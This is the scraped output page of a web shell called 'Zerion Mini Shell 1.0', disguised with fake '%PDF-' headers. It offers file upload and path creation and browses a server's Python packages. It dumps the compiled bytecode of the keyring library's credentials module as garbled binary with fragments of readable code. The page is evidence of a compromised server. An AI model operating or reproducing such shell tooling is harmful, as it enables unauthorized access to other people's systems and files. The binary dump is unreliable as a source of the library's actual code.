%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/keyring/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/keyring/__pycache__/credentials.cpython-312.pyc

�

�e9��l�ddlZddlZGd�dej��ZGd�de�ZGd�de�Zy)	�Nc�X�eZdZdZej
d��Zej
d��Zy)�
Credentialz$Abstract class to manage credentialsc��y�N���selfs �5/usr/lib/python3/dist-packages/keyring/credentials.py�usernamezCredential.username����c��yrrrs r
�passwordzCredential.passwordrr
N)�__name__�
__module__�__qualname__�__doc__�abc�abstractpropertyrrrr
r
rrs7��.�������	�����r
r)�	metaclassc�6�eZdZdZd�Zed��Zed��Zy)�SimpleCredentialz!Simple credentials implementationc� �||_||_yr)�	_username�	_password)r	rrs   r
�__init__zSimpleCredential.__init__s��!���!��r
c��|jSr)rrs r
rzSimpleCredential.username����~�~�r
c��|jSr)rrs r
rzSimpleCredential.passwordrr
N)rrrrr�propertyrrrr
r
rrs2��+�"��������r
rc�L�eZdZdZd�Zdedefd�Zd�Ze	d��Z
e	d��Zy	)
�EnvironCredentialaA
    Source credentials from environment variables.

    Actual sourcing is deferred until requested.

    Supports comparison by equality.

    >>> e1 = EnvironCredential('a', 'b')
    >>> e2 = EnvironCredential('a', 'b')
    >>> e3 = EnvironCredential('a', 'c')
    >>> e1 == e2
    True
    >>> e2 == e3
    False
    c� �||_||_yr)�user_env_var�pwd_env_var)r	r$r%s   r
rzEnvironCredential.__init__2s��(���&��r
�other�returnc�0�t|�t|�k(Sr)�vars)r	r&s  r
�__eq__zEnvironCredential.__eq__6s���D�z�T�%�[�(�(r
c�d�tjj|�}|std|z��|S)z&Helper to read an environment variablezMissing environment variable:%s)�os�environ�get�
ValueError)r	�env_var�values   r
�_get_envzEnvironCredential._get_env9s-���
�
���w�'����>��H�I�I��r
c�8�|j|j�Sr)r2r$rs r
rzEnvironCredential.username@s���}�}�T�.�.�/�/r
c�8�|j|j�Sr)r2r%rs r
rzEnvironCredential.passwordDs���}�}�T�-�-�.�.r
N)rrrrr�object�boolr*r2r rrrr
r
r"r"!sL��� '�)�F�)�t�)���0��0��/��/r
r")r,r�ABCMetarrr"rr
r
�<module>r8s3��	�
�	�3�;�;�	�
�z�
� %/�
�%/r

Zerion Mini Shell 1.0